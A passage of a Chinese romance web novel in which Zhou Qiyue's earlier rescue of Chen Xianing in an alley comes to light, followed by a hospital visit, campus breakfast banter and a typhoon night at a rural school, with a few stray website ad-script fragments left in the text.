大叔跟耳聋了似的,快要把她逼到舞台边缘,目测这台子有一米高,陈夏柠心想就算掉下去不会骨折也会有皮外伤吧。 周祈越在排队买奶茶,瞅见她出来给人拍照,只是站在队伍中远观,原本也没什么事,谁知他取个奶茶的功夫,她人已经不在台下,台上一片混乱。 服务员递过来的奶茶他也不接了,火速跑上舞台,人站在大叔后面,一手抓住他后颈的衣领,一手掰着他手臂,掌握好力度往后拉。 陈夏柠低着头,察觉到大叔脚步顿住,连连咳嗽几声,被一股力度牵引着往后退。 她赶紧趁机溜到一边,只见那大叔用蛮力挣脱了周祈越,眼底压着戾气,像只失控了的野兽,倏然从口袋里捞出一把折叠刀。 ...... 警察来了之后才知道这大叔有精神病,从疗养院里跑出来的,至于这舞台的确是赞助商搭建的,真的负责人来协商,他们也没让她删照片。 “我说呢,怎么有这么神经病的大人。”云希气鼓鼓地说,“原来真遇见了一个神经病,真倒霉。” “我还想说你呢,是不是跟他顶嘴了。”说话人是一个男孩,她们拍照时他也在奶茶店给她们排队,方才跑过来对抗大叔受了点皮外伤。 少年脸庞挂着彩,凶巴巴地训斥云希:“你什么时候能改一改你这个爱出风头的毛病?” 其他两位女孩打趣:“云希要是不爱出风头,怎么会遇见你呀?” 云希讪笑着,瞄着男孩红了脸。 陈夏柠站在一旁看懂了什么,唇角微扬。 周祈越和警察交待完经过,侧过脸看到她一脸姨母笑,盯着两个拌嘴的男生和女生,俩人倒是像打情骂俏。 “别人吵架很有意思么,还是说,你想谈恋爱了?” “......” 陈夏柠回过神看他,双手合十,摆出大恩不言谢的神情。 “不是我说你——”周祈越戛然而止,陈夏柠已经跑到吵架两人面前去了。 她加了云希的微信,说要把照片发给她,还不收费。 云希一个劲儿地跟她鞠躬道谢,像个中二少女,特别浮夸。 周祈越回到奶茶店去提奶茶,一转身,陈夏柠朝他扔过来一颗石榴,“小姑娘给我的。” “给人拍照惹上一个精神病,结果就收到一颗石榴。”周祈越递给她一杯奶茶,唉声叹气,“你这笔买卖亏大发了。” 下一站要去附近的公园,陈夏柠捏着手中的石榴,边走边说:“也不是没有收获,我想,我以后都不会耿耿于怀了。” 周祈越刚用吸管插进奶茶,闻言动作一顿,似懂非懂地问:“什么意思?” 自从陈夏柠转学到海云一中,许佳念隔三差五地来找她玩,许佳念常常抱怨文科背的东西太多了,要是学理科就好了。而陈夏柠也会抱怨理科的题太难了,要是学文科就好了。 一中高手云集,高二过得跟高三似的,学习压力真的很大,陈夏柠刚转学过来,不适应也吃不消。 果不其然,第一次月考成绩下来,陈夏柠备受打击,趁着放学走廊没人,没忍住当着许佳念的面哭:“怎么办,我挺不适合学理的,我妈又该给我换补习老师了。” “夏夏别难过啊,不就一次考试,”许佳念手足无措地哄人,“我这个文科狗,课本背的滚瓜烂熟也提不了分,他妈文科的题真的很奇葩,比班主任的地中海还要奇葩!” “......” 许佳念安慰人不怎么样,搞笑还是无人能敌的,陈夏柠哭着哭着就被逗笑了。 “行了,我看你是压力太大了,我带你去散散心。”许佳念一拍大腿起身。 陈夏柠被她牵着下楼,“去哪啊,不回家了吗?” 学校宿舍楼后面有一个家属院,以前专供老师居住,现在变成了商业化的胡同小巷,供学生消费的书店和饭店,甚至内部偷偷开着网吧。 陈夏柠也是路过网吧门口碰见了江逸风,彼时他和林盛正站门口抽烟等人。 “你来这干什么?”江逸风还以为她要来网吧。 “没有,我和念念要那边玩。”陈夏柠抬手指着西边的方向。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 江逸风:“去干嘛?” 许佳念牵着陈夏柠的手继续往前走,朝他哼哧一声:“你谁啊,凭什么管我们夏夏?” “......” 陈夏柠回头看了眼他,江逸风的脸陷进半边阴影,猩红烟头架在指尖,专注抽烟。 “念念,你刚刚为什么凶他啊?”她觉得江逸风应该生气了,低叹了声气。 许佳念抬手戳了下她脑门,“他要是真担心你就过来找你啊,嘴上说说有什么用。” 陈夏柠没再说什么。 黄昏时分,小巷的砖瓦被染成橘黄色,越往巷子里面走,建筑越破旧。 谁能想到在一户荒废的院子里种满了石榴树,在这个秋天硕果累累。 俩姑娘的共同点就是,天生见到长果子的树就乐开花。 许佳念将书包扔在草地上,大咧咧地捋起袖子去摘石榴,陈夏柠笨拙地学着她的样子,许佳念的速度很快,一颗颗石榴下雨似的落地。 “念念,别摘太多了,吃不完。” “吃不完拿回家,你要享受摘果子的乐趣。”许佳念坐在草地的石榴堆里,拉开空书包放石榴。 “算了,我妈要是知道了,肯定会骂死我。”一想到妈妈,陈夏柠赶紧将自己书包里的石榴倒给她。 许佳念一语道破:“我看啊,你的压力都是来自你妈,怎么把你管得跟犯人似的。” 说到这,陈夏柠抬起手腕,瞧了眼腕表,六点了,天色也要黑了。 回家晚了,肯定会被说了。 陈夏柠帮她石榴全塞进书包,急忙站起身催她:“我们回家吧。” 许佳念意犹未尽地不想走,陈夏柠拽着她胳膊拉人起来,“快走吧,念念。” 陈夏柠正费着劲儿,许佳念猛地一站起来,差点把她闪一边。 紧接着,许佳念急忙抓住她的手,把人拉到身后,只见来了一位不良少年,白头发,笑容狰狞,朝她们走过来,“小妹妹,这么怕哥哥啊。” 如果没记错,这人是二中的校霸迟烨,传闻猥亵许多少女,也不知真假。 两姑娘一个对视,书包都没拿,拔腿就跑。 迟烨在后面穷追不舍,俩人只能分开行动,在错中复杂的胡同里绕弯。 本以为已经将他甩掉,陈夏柠站在分叉路口弯腰大喘气,一只手拍了下她肩膀,一转身对上迟烨那张脸,她惊悚地尖叫了声。 没有时间恐惧,没有时间流泪,她漫无目的地左拐,发现前面是死胡同,整个人缩在墙角,听着迟烨一声一个“快出来”越来越近,她吓得双眼通红,身体跟着颤抖。 下一秒,“砰”的声响从身后传来,紧接着是激烈的打斗声,大概经历三个回合,传来迟烨的惨叫声:“你给我等着!” 动静声变小了,陈夏柠听见许佳念的呼喊声,这才巍巍颤颤地从拐角处探出头,确认迟烨被打跑了,她才敢出声回应。 夜色漆黑,俩姑娘在一户亮着灯笼的人家会面,许佳念刚刚也听到打斗声了:“你看见是谁救了你么?” 话音刚落,江逸风朝她们走过来,唇角挂着血迹,衣服也脏兮兮地,“你们怎么还没回去?” “我们......”陈夏柠哽咽了下,眼泪哗哗直掉。 林盛跑过来说:“江哥,迟烨跑了。” “原来是你们把他揍跑了啊。”许佳念将事情的经过讲了一遍,瞬间对江逸风态度大变,“谢谢了,也为我方才的冒犯道歉。” 江逸风抱着胳膊,好整以暇地打量着俩姑娘,抬手摸了摸陈夏柠的头,“行了,别哭了,陪你去找书包,一起回家。” “嗯嗯好。” 那晚,陈夏柠一边擦着眼泪一边跟着他回家,只觉得盯着他的背影就有安全感。 在那个懵懂的年纪,她悄悄奉他为自己的保护神。 ...... 周祈越坐在长椅上,瞬间觉得奶茶索然无味,漆黑浓重的眼睛锁着她:“所以,你觉得是江逸风救了你?” “什么觉得,就是他啊。”陈夏柠莞尔一笑,释然地说,“我应该谢谢他曾经保护了那个自卑胆小的我,即使后来他也无形中伤害了我,就当我们扯平了。我原谅他了,也不会再喜欢他了。” 周祈越没说话,心不在焉地使劲用吸管戳着瓶底,发出啪啪的声响。 陈夏柠偏头看他,视线落到他右肩膀,白色的T恤上晕染一片红色。 “你怎么流血了?”她揪着他短袖,底下有新的一道划痕,“天哪,你是不是被大叔划伤了?” 22. 救命恩人 周祈越表情无波无澜,没太大的反应。 相比之下,陈夏柠倒像是拿错了剧本,手忙脚乱地从包里搜罗一条丝巾,给他捆绑在胳膊止血。 他瞧着她认真包扎的样子,垂下眼,莫名发呆。 “快走,去医院。”陈夏柠拎起包,急忙起身,顺手拉着他手腕。 没拉动,身后的人嘶叫了声:“你对救命恩人就这么粗鲁啊?” “......” 陈夏柠回头愣了下,松开手,绕到他左边站着,“不好意思啊,我一着急就方寸大乱,拉错胳膊了。” 周祈越八风不动地坐着,即使受伤也不失大少爷的风姿,哦了声:“那现在站对了,还不快扶我起来。” 陈夏柠愣了下,双手拉他左胳膊,小心翼翼地抬这尊大佛起来。 站起身后,她抽出一只手拿手机导航附近的医院,另一手还在扶他,两人漫步在去医院的路上。 走着走着,陈夏柠发觉不对劲啊,他又不是腿受伤不能走了,她猛地松开手,“你自己走吧。” 周祈越杵在原地不动,像个怨妇似的自言自语:“果然好心没好报,我这见义勇为的后果就是一个人孤苦伶仃地去医院。” “......我没说让你一个人去医院——” 我只是觉得咱俩这样被路人看见很容易误解。 下半句在瞧见他那副“别人欠我八百万”的表情硬生生咽下去,陈夏柠低不可闻地叹气,他是因为保护她受伤的,她不占理。 重新被搀扶着,周祈越这才老老实实地跟她走。 陈夏柠刚走快两步,他就开始吐槽:“我这留着血呢,你想加快血液流通是么?” “......” 她放慢脚步,好脾气地解释:“我这是怕你疼,早点到医院处理伤口。” “那行,你还是走快一点吧。”周祈越顿了一下,“但也不能太快,要慢一点。” 陈夏柠:“......” 你到底是要快!还是要慢! 没想到他受伤比不受伤还要难为人。 来的路上陈夏柠就已经挂好号,俩人直接进入急诊外科,有位男医生过来给他处理伤口。 被他折腾了一路,陈夏柠见到医生好心提醒了句:“您轻点啊,他身骄肉贵的。” 周祈越:“......” 男医生三十岁出头,刚毕业入职不久,见惯了很多娇气的患者,大多是小姑娘,没想到这次来了个娇气的男人。 所以在给周祈越处理伤口时,男医生谨小慎微地拿着棉签和碘伏给他伤口消毒,棉签蜻蜓点水似的碰他一下,就要问一句疼不疼,需不需要我轻点,要不要我给你吹吹。 明明五分钟就能搞定的事,男医生这操作大概能拖二十分钟。 “大哥,你快点行么。”周祈越急不可耐地喊了声,咬牙忍着一口气,“我伤口不深,你能不能别跟娘们似的,我等着回家好吧。” “......” 男医生明显惊了下,狂点头:“好好好。” 站在帘子外偷瞄的陈夏柠噗嗤笑出声。 下一秒,周祈越就闻声望过来,挑着眉,冷笑一声,她立马缩回头,背过身。 处理完伤口,医生要给开外伤药,陈夏柠凑过去提醒:“要不再开点去疤药,别再留疤了。” 医生给周祈越包扎时也看见他那条旧疤痕了,新伤在旧伤的下面两厘米,“他之前的伤应该是缝合不当,没处理好,所以才会留疤。我这次处理的很好,没有失误,不会留疤。” 医生开了处方单,还不忘朝他说:“看病得去正规医院。” 陈夏柠看了眼周祈越,他还是臭着一张脸,眼尾扫过她,利落转身出门。 从医院出来时间四点钟,梧桐县的拍摄也就差那个公园,以免再跑一趟,周祈越顶着伤折回去简单补个景。 找到电车,他将设备放进座椅中,陈夏柠抢先坐在前座,拍着胸脯保证:“我车技很好,绝不会去西天。” “......” 周祈越轻笑了下,也没跟她抢,规矩地坐在后座。 把手一拧动,白色小电驴载着俩人缓缓移动在柏油路上。 不知道为什么,从医院出来后,周祈越情绪恹恹的,也不知是不是被那个医生烦的。 陈夏柠以为他在因为一点小事较真,安慰道:“你别放在心上啊,那医生根本都不知道你怎么受伤的,就说你没去正规医院,也是有点武断。” “他没武断,说的很对。”周祈越说完上文就没下文了。 进入来时的梧桐大道,扑面的夏风抚过脸庞,道路两边扇动的梧桐叶,哗啦啦作响。 风终究有了声音。 少年的心事却无人知晓。 “大哥,你取得一点成绩就飘是不是?”周祈越坐在方承的电车后座,双手拎着两大袋食材,“我好不容易上大学了还得天天被你拉回高中!” “......” 听他数落一路,方承也不恼,主要是心情心情特别好,高三一模成绩他取得了全校前十的好成绩。 看到名次的下意识反应就是,要找周祈越好好搓一顿火锅啤酒。 今天刚好周五,一放学,方承就骑着电车去海大找周祈越,硬生生把人拉到车上,陪他买食材,出去下馆子都不行,他非要亲自下厨自己弄。 一中家属院入口处有个停车场,方承停好车,他两一人提着一个袋子步行进入巷子里。 周五一放学家属院最热闹,周祈越走个路都得让来让去,不禁叹气:“你爸妈都舍得给你配备电车了,就不给你找个好的房子?” 作为复读生,方承只想提成绩,也不想跟新同学住宿舍,省得处理宿舍关系,于是选择在学校家属院租房住。 方承:“我觉得这挺好的啊,距离学校近,主要是我住的地方很安静。” 周祈越本想说安静个屁,他快被吵死了,这一路跟逛集市似的。 没想到拐了个弯,那些喧嚣渐渐销声匿迹,越往巷子里进,反而寂静得可怕。 直到两人路过一家网吧,门口站了一伙人,俩人与他们擦肩而过。 其他人周祈越不认识,却唯独认出了江逸风。 彼时,江逸风嘴里叼着烟,有位白发少年给他点火,他凑到白发少年耳边说了什么话,俩人纷纷笑的流里流气。 难以置信这是高中生,不知道的还以为是黑/道上的。 不过倒也符合江大少爷一贯的作风,他就是这样放荡不羁,吊儿郎当的人。 周祈越没想太多,匆匆收回视线,继续跟着方承往前走。 方承租的房子是个小型四合院,他站在平房的房顶俯瞰四周,后面的房子都标上了个“拆”字,前面也只有稀稀疏疏的几户人家。 方承嬉笑问他:“怎么样,安静不?” 周祈越嘴角抽了下,拍着他肩膀:“鸟不拉屎,鬼都不来的地方,的确挺安静。” “......” 那个时候周祈越还不会做饭,全程是方承在忙活,俩人就坐在庭院里捣鼓火锅。 “你换个地方住行不行?”周祈越围着他转,一本正经道,“就这鬼地方,你死在这都没人发现。” “......” 方承充耳不闻,撂下食材,一身反骨地回怼:“我就喜欢没人惊扰的地方,要是有鬼,我也愿意跟鬼当朋友!” 话音刚落,耳边响起女生的欢笑声:“快点,多装一点啊哈哈哈哈。” “......” 原本静悄悄的地方,突然听到女生笑的声音,有多么诡异。 三秒之后,方承浑身一抖擞,躲在周祈越身后,舌头都捋不直:“不...不会有女鬼吧,听这声音像是...两个女鬼。” “......” 周祈越循着声音登上露天楼梯,站在楼梯拐角看清楚墙外,整个人彻底僵住。 “什么情况啊,有没有鬼啊。”方承在楼梯底下喊他,周祈越给他打了个噤声。 方承不禁好奇上去一看,旁边废弃的小院子长满了石榴,还有两个偷石榴的女贼。 周祈越一点也不意外陈夏柠如此开心摘果子的模样,他就这么傻站着瞧着她,无意间听见俩人的对话。 “夏夏你放宽心态,一次考试失败没什么的,据说理科,只要你掌握住解题技巧,提成绩可是很快的。”许佳念说,“别难过了,你肯定能学好理科。” 陈夏柠眼泪汪汪的,急忙仰头忍住,不让自己哭。 周祈越皱起眉,原来她是在难过考试没考好啊。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >方承不理解他怎么有闲心偷听,火锅要熟了,拽着衣角让他下来。 周祈越正准备下去,视线落到一道朝这边奔跑的身影,因为他当时站得比较高,隐约看见有人追着白发少年跑到这里。 白毛果真不安好心,见到两位姑娘秒变地痞流氓,陈夏柠和许佳念慌张逃脱。 周祈越心口一紧,一股脑热地从墙头跳下去。 方承瞪大眼睛,不理解他为何如此激动,喊了声:“卧槽!” 还没等他说完,周祈越已经朝着那三人的方向跑过去了。 胡同巷的路径网格状,中间每条道都能走通,但当时天黑,估计陈夏柠太过害怕,并未发觉那个白毛在把她往角落里堵。 在以为自己把人跟丢而慌张时,周祈越听到她的尖叫声,锁定左前方,拐进一个死角。 白毛正放松警惕喊她出来,不料下一刻身后来了一脚,当即把他踢趴下。 起初周祈越占据上风,揪住白毛的衣领,正想把人拖走。 昏暗没有灯光的小巷,他也没看清发生了什么,只感觉到右肩被利器划了一道,忍着刺痛,周祈越抬脚给白毛要害重重一击。 白毛双手捂着那处,蹦跶着逃走。 周祈越也没有精力追上去,左手捂着右肩,露出痛苦的表情,转身往里面进想把女生喊出来。 就在这时许佳念喊着夏夏的名字,周祈越收回脚步,往外走的每一步都格外沉重,还好半路碰见来找他的方承。 方承举着手电筒,灯光照在他肩膀,鲜血直流的场面,“卧槽!谁干的?!” 周祈越脸色惨白,似乎连站也没有力气,低声道:“还不快扶我。” 方承慌里慌张脱掉自己衬衫缠在他伤口,架着他另一条胳膊,扶着人离开。 从巷口出来,在一条挂满红灯笼的青石板路,周祈越闻声向右看,大概十米远,江逸风正抬手揉着陈夏柠的发顶。 方承着急送他去医院,拐弯左转,他匆忙收回视线,好像不止肩膀在疼,心脏也像被什么东西割了一个口子,刚开始轻微的疼痛,慢慢地,疼痛感无限放大。 家属院有社区医院,周祈越靠在沙发上,医生给他缝合伤口时,他没什么反应,像丢了魂一样。 “周少爷,你要疼就喊出来吧,别忍了。”方承在一旁看得揪心,因为去市医院太远了,目前这情况只能让诊所医生给他缝合止血了。 血止住了,但医生到底不专业,伤口缝合的粗糙,导致他肩膀留下一道无法祛除的疤痕。 只要看到这道疤痕,就能清晰地想起那天的心痛。 暗恋本就是单线航次,没有回程票。 无论你做再多努力,也走不到她的航线里。 因为从一开始,她的终点就在朝向另一个人。 ...... 离开梧桐县,陈夏柠考虑到他是伤员,决定送佛送到西,“周祈越,你家在哪,我送你回去吧。” “好。” 周祈越给她开导航,抵达周诚的家,天色亮着,他下车拿走无人机,将重新电车丢给她:“开到学校给我充电。” 陈夏柠愣了下,“哦好。” 坐上车离开前,她还特意瞄了几眼他家别墅,的确是暴发户该有的样子。 陈夏柠先是骑着电车去金鱼巷买饭,回到学校,电车刚好没电,她推到车棚给它充电。 忙碌又充实的一天,吃完饭,洗漱,趴在床上刷剧,忽然微信弹窗一个接一个地跳出来。 周祈越发来了很多航拍的照片,无人机在他们头顶拍下了许多死亡视角,照片中两个人变成了奇奇怪怪的小矮人。 浏览下来,陈夏柠就没忍住笑了,笑完后,盯着他的聊天页面打字。 Lemon:【你注意好,不要让伤口沾到水。】 July:【[好]jpg】 陈夏柠瞳孔聚焦在他发来的表情包,大团子拍着小团子的头说好。 她放下手机,关灯,脸捂在被子里,莫名开始傻笑。 闭上眼细想周祈越这个人,他虽然嘴欠了点,但能处处照顾到别人的情绪。 每一次她有困难的时候,“热心市民”都会见义勇为。 昏昏欲睡之前,她脑海闪过一个念头。 其实,周祈越挺好的。 23. 学妹小白兔 陈夏柠早上总算被闹钟吵醒了,起床洗漱完,还有足够的时间去金鱼巷买早餐。 连续好几天没来孟记包子铺,发现这家店面升级,新添了关东煮和三明治牛奶。 她在货架看见熟悉的三明治,周祈越经常给她带的鸡蛋火腿芝士味。 原来是在这家店买的。 陈夏柠掏出手机想问他吃饭了没,要不要我给你带早餐,打完字又删掉。 还是直接买,碰见他说,买多了,这样会显得不那么刻意。 仔细想来,第一次周祈越也是这样说的,没吃早餐吧,买多了,然后给她一个三明治。 但是后来,他每天早上会买三份三明治和牛奶,连带着校长和董川的份。 董川一边津津有味吃着他买的早餐,一边警告他:“想用这种方式巴结我妈,我跟你说没用,她最讨厌别人跟她套近乎,搞这些小恩小惠。” 周祈越说话从不迎合任何人,主打气死别人也要让自己舒坦:“是么,那我以后继续买,让别人讨厌也是我的能力。” “......” 说到做到也是他的风格。 正准备走时,陈夏柠想到这一茬,干脆效仿他的行为,多买了两个给校长和董川也带。 不是为了巴结校长或让校长讨厌,而是出于人情世故,总不能让另外两人觉得她只给周祈越早餐,省得惹来不必要的非议。 她拎着四份三明治回学校,虽然吃过饭了,但一想到是鸡蛋火腿芝士味,陈夏柠觉得自己还能吃下。 不由得让她想起海大的西点房,以前读本科时,学校食堂的早餐和西点房的面包总PK起来。 因为西点房的师傅手艺很不错,路过西点房,闻着香味就像被勾魂一样去买早点。 陈夏柠也是西点房的粉丝,每天宁愿早起排长队帮室友买早点,主要是她很馋卖的最火热的三明治——鸡蛋火腿芝士味。 以至于很长时间她都超喜欢这个口味的三明治。 想来周祈越也是喜欢这个三明治,所以会一直买。 到了学校,陈夏柠恍然想起周祈越是她校友啊,他一定吃过西点房的三明治。 那这样就解释通了。 不过,他还是没跟她说自己哪一届,学什么专业的。 陈夏柠早餐放在办公室靠门的桌上,自己拿一份坐在办公位边吃边打开电脑,在百度上搜索周祈越的名字,前几列全是广告,后面的内容貌似也不相关。 她正挪动鼠标想去学校官网搜索,忽地,一个大活人从她身后冒出来,瞅着她电脑屏幕突然来了句:“你调查我啊。” “......” 陈夏柠惊得浑身一颤,咬了两口的三明治都掉地上了。 “你什么时候进来的?”她捂着胸口给自己顺气,“大白天的,吓死人啊。” 他来的早,困得难受,在办公位后面的沙发上补觉,但办公位和沙发中间堆了一列纸箱,陈夏柠方才没注意到。 “你这叫做贼心虚。”周祈越弯腰把掉地上的三明治扔垃圾桶,从自己办公桌拿了个新的给她,说话间眼神盯着她电脑屏幕。 陈夏柠双手握着他给的三明治,挺后悔没提前问他,买重了。 不过现在首要的事是,解释自己这种暗地搜索他,还被抓个现着的情况。 她叹口气,举起三明治,不藏着掖着:“你每次买这个口味应该是吃过海大西点房的三明治吧,所以我就突然好奇你这个校友。” “好奇什么?” 周祈越闲倚在胳膊办公桌,双手随意地支在桌面,眉梢微扬。 那副表情又像是,你不给我个合理解释,我就会猜想你暗恋我。 虽然知道下面的理由挺冒犯,但她觉得合理:“好奇海大什么专业的人混得这么差。” “......” 周祈越没什么情绪变化,好整以暇地打量她。 其实他最初也不知道自己在顶着周诚的身份,刚来希望小学,陈夏柠问他要不要来帮忙,就连林校长也发出邀请。 他以为这学校已经缺人到随便拉一个人都行了。 同意来之后,林梅在电话那边匆匆说了句:“好好干,以后的事情过去了就过去了,这里就是你新的开始。” 当时周祈越总觉得这句话有点不对劲,但也没多想,只以为这是长辈的鼓励词。 按照正常程序,来一个单位入职要提交身份信息,林梅并没有给他表格之类的,周祈越就主动去问。 林梅笑着摆摆手,一副“我们很熟我了解你”的表情:“不用,你估计也干不长,再说,我和周警官的交情就不搞这一套了。” 周祈越恍然大悟地点点头,原来校长知道我是周叔的亲戚了。 甚至那次陈夏柠和他在食堂聊天,她说,我听校长说起你的经历了。 周祈越也能理解长辈在背地里议论后辈的情况,料想周叔和林梅谈起他,林梅又转述给了陈夏柠。 但也不是很清楚他们都知道他多少经历。 真正搞清楚事情的来龙去脉是董川来学校的前一晚,当时家里只有他一个人,沙发上的电话铃声响个不停。 是周诚的手机落家了。 周祈越刚接通,正想说他不在,对面的董川火急火燎地没给人说话的机会:“兄弟,我从我妈那里得到一个秘密,你那个堂哥顶替你的身份在希望小学支教,我妈竟然不知道,把他当成周警官的儿子。” 周祈越大脑宕机了几秒:“我就是他堂哥。” 对面迎来一阵沉默,须臾开口:“我刚刚在说梦话,打错电话了。” “......” 这几天周祈越慢慢捋出一条思绪,或许林梅想让他来支教是看在他是周警官儿子的身份,本着想改造败家子的好意。 一时半会儿,他也不知该怎么解释,而且周诚对这种误会乐此不彼,俩人达成一致,继续将错就错。 ...... “我是2013级航海学院,”周祈越盯着她的眼睛,缓缓说,“航海技术专业的学生。” 陈夏柠不可思议地快要惊掉下巴:“你竟然比我大两届,学的还是我们学校的王牌专业?!” 周祈越:“怎么,不行么?” 陈夏柠的头快摇成拨浪鼓,只是觉得可惜,学着名校的王牌专业,你还混得这么惨。 “我这边还是建议你积极找工作,肯定能找到的,或者你回归本专业。” 他勾唇笑笑,也不知听进去了没。 “光说我,你呢。”周祈越歪头看她,“学、妹。” 这个称呼瞬间压她一头,陈夏柠恭恭敬敬地说:“我本科学的海洋资源与环境,硕士学的海事翻译。” “跨度挺大啊,从理学到文学,最后又当辅导员。”周祈越轻笑了声,总结为,“三跨。” “......” 陈夏柠唇形抿直,垂下眼,话锋一转:“对了,下午我们去哪取景啊?” 周祈越:“上次去俊阳山你拍了不少视频吧?” 陈夏柠嗯了声:“今天还去么?” “不去了,你那些素材差不多了。”周祈越说,“这小岛本来就不大,最后一个取景就去海边,星月湾就挺不错。” 陈夏柠不置可否,盯着电脑屏幕发呆几秒,无措地关掉电脑,再回头。 周祈越眼尾一挑,意味不明地看她:“你不会怕海吧?” “怎么可能!你开什么玩笑,”她露出可笑表情,“我....我本科专业可是......” “我知道了。”周祈越打断她的话,站起身,拿着杯子去饮水机接水,“开个玩笑而已,你不用结巴。” “......” “那下午我跟你去——”后面三字她还没出口。 周祈越端着杯子走过来打断话:“下午我一个人去就行,海边主要是航拍,我速战速决。” - 和往常一样,中午老师和学生在食堂一起吃饭,周祈越吃完饭就骑车回家拿设备,然后要去星月湾。 也就是说,下午会有三位老师一同在学校。 昨晚睡得很足,午休时间,陈夏柠就待在教室整理视频,恍然发觉拍了太多视频,电脑内存都要告急了。 她正在筛选素材,林梅倏然闯进来,上气不接下气地大口呼吸。 “怎么了,林老师。” “陈老师,小川的爸爸从山上摔下来了,我和小川要带他去市医院做手术。”林梅着急的语气可以判断伤者挺严重。 陈夏柠了然于心,极为靠谱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地说:“那你们安心去吧,学校留给我。” “那行,我看今天会下雨,你提前联系司机过来送学生。”林梅交待,顺便把司机的电话给她。 果不其然学生们午睡结束后,外面就变了天,乌云压得很低。 生怕会突然下雨,陈夏柠没带他们做室外活动,一下午都待在教室,学生像是被闷坏了,个个耷拉着耳朵趴在书桌上。 夏天昼长夜短,往日六点以后才会天黑,这会儿四点半,窗外的天就有了黑云压城城欲摧的气势。 陈夏柠和司机打电话,提前放学,看着学生上了车,她跑去金鱼巷买晚饭,回来的路上就开始下小雨点。 刚到宿舍,雨滴愈发变大了,恍然想起教室的窗户没关,陈夏柠打着伞出门,去教学楼关窗户。 “轰隆”一声,骤雨倾盆而下,陈夏柠将教室的四面窗户关完,自己也被雨水打湿透。 她从教室出来,狂风咆哮着声音,像只汹涌的野兽,一把将她撑起的伞面掀开。 连带着更为汹涌的是,办公室后面两颗樟树发出断裂声响,连根拔起般戳进玻璃窗,各种碎裂的声音紧随其后。 陈夏柠淋着大雨跑过去,打开办公室的门。 窗户底下堆着好几箱实体书,全部是下学期的新书以及海大捐赠的课外读物,现在玻璃碎裂,密密麻麻的雨水灌进来,打湿纸箱。 明明她自己也浑身湿透,却也不想让这些书淋湿,陈夏柠使出全力抱着一箱实体书到另一个角落,然后接着搬下一箱。 漆黑的台风天,办公室的灯管一明一灭,线路似乎下一秒就要断裂。 她四肢都在发抖,被冷水冻得,被重物压得。 雨水侵袭的速度太快,不止窗户,还有门口,不到一会儿,地面的积水已经过脚。 陈夏柠正抱着第三箱书,恍然发现自己在做杯水车薪的事。 嗖嗖的夜风凌厉又无情,耳边传来更多树木折断的动静。 孤独,无助,恐慌。 这些情绪全部包裹着她。 恍惚间,她手臂一轻,像是有另一个力量托举住自己怀中的重担。 可又有谁会帮她呢。 那些曾以为重要的人都抛弃了她,不会再有人来管她的死活。 她笃定自己出现了幻觉,依旧紧紧抱着纸箱。 “陈夏柠,松手。” 头顶就这么毫无征兆地落下一道清冽磁性的嗓音,是耐心的语气。 陈夏柠眼眶微红,抬起头,狼狈得像只楚楚可怜的小白兔。 男人发丝被雨水打湿,额间的雨水顺着冷俊的侧脸滑落,禁欲感拉满。 对视的瞬间,陈夏柠无端又被那双眼睛吸引,蔚蓝,深邃,璀璨。 像是在无边黑夜中等来了星星。 原来台风暴雨天也有星星。 这颗星星炽热,光芒四射,就在眼前。 “你怎么会——”怎么会在这里。 不等她话说完,他强势地夺过她怀中的纸箱,让她站在一边,自己纷纷把实体书堆在办公桌上。 完事后,周祈越干脆挪动铁书架堵住窗口,陈夏柠见状给他加力。 走出办公室时,他抓起沙发上的一条黑色毯子,将办公室的门紧锁,周祈越双手撑着毯子在身后,瞄了眼旁边冻得发颤的姑娘,“进来。” 陈夏柠怯生生地靠过去,像是被他包裹在羽翼之下保护着,一路护送她到宿舍里。 宿舍门一关,狭小的房间就剩俩人。 陈夏柠白色短袖湿淋淋地前胸贴后背,隐约可以看见里面的内衣轮廓。 周祈越站在门口,没正眼看她,轻咳了声:“那个,你早点休息吧,我先——” “你现在走不了。”陈夏柠的手机弹窗跳出黄色预警,这台风还没走,外面太危险了。 她随即从衣柜里找出一条干净的长毛巾给他,“没用过,你擦擦吧。” 周祈越愣了下,坐在她拎过来的木质椅子上,用毛巾擦着头发。 陈夏柠将长毛巾裹在自己身上,蹲在地上打开行李箱,举着校服短袖,偏头看过来,“你介意穿校服短袖吗?新的。” “......” “我记得好像还有个短裤。” “......” 24. 藏人 陈夏柠出镜时只穿学校标识短袖,再搭配自己的牛仔裤或者半身裙。 当时海大发的夏季服装是一套,短袖和短裤,也就航海学院男生多才会这样考虑,这穿搭很男生,她不喜欢穿短裤,更何况是黑色的短裤,太像男款了。 陈夏柠真就找出一套没拆封的,白T配黑短裤,她裹紧身上的白毛巾,走过去给他,“你换上吧。” 周祈越犹疑地接过手,眼睛直直地盯着她。 陈夏柠眨巴眨巴眼,呆呆地问:“干嘛?” “我还想问你干嘛。” 周祈越眼波在两人的距离之间流转,内心上演了一出大戏。 你这宿舍这么小的空间,我怎么换。 难不成你就这么站在这里,欣赏我? 先是让我不要走,又让我换衣服.....我怀疑你有这种贼心。 他握拳抵了抵鼻尖,滚动着喉结清了清嗓子:“我可不是随便的人。” “......” 虽然他没把话挑明了说,但跟周祈越的熟络,以及他此刻的表情,陈夏柠不知自己理解的是不是他那个意思,脸色发麻了几秒,随即勾勾手指示意他往里进,“我的意思是,你可以进这个房间换上。” 从方才一进屋,他就拘谨地坐在门口玄关处。 平日见惯了他随意洒脱的模样,陈夏柠倒觉得老实安分的周祈越陌生了——来女生家里不东张西望,也不往里面随便坐,保持着一定的距离和礼节。 她这房间很小,一张床挨着一个衣柜,衣柜旁边有道封门的帘子,不仔细看真不知道还有独立的隔间,两个房间是互通的。 这也是她来这第二天发现的。 校长说,这宿舍设计有问题,以前真有两个人这样住,非常不方便,而且里面的隔间阴湿,没有窗户,后来就改为只住一人,隔间空着。 周祈越进去看见这个设计,好笑地说:“方便你藏人了。” “......” 陈夏柠这下思虑周全地递给他一个手提袋方便他放湿衣服,又看了眼他脚下黑色的板鞋,周祈越察觉到她的视线,说:“里面没湿。” 她点点头,在他进去拉上帘子前说:“我也要换衣服,你出来前确认一下。” 周祈越不咸不淡地嗯了一声:“你别偷看我就行。” 陈夏柠:“......” 他总能以一副正人君子做派审判她,或许在他眼中,她早就被标上女流氓、占便宜、偷窥王的标签了。 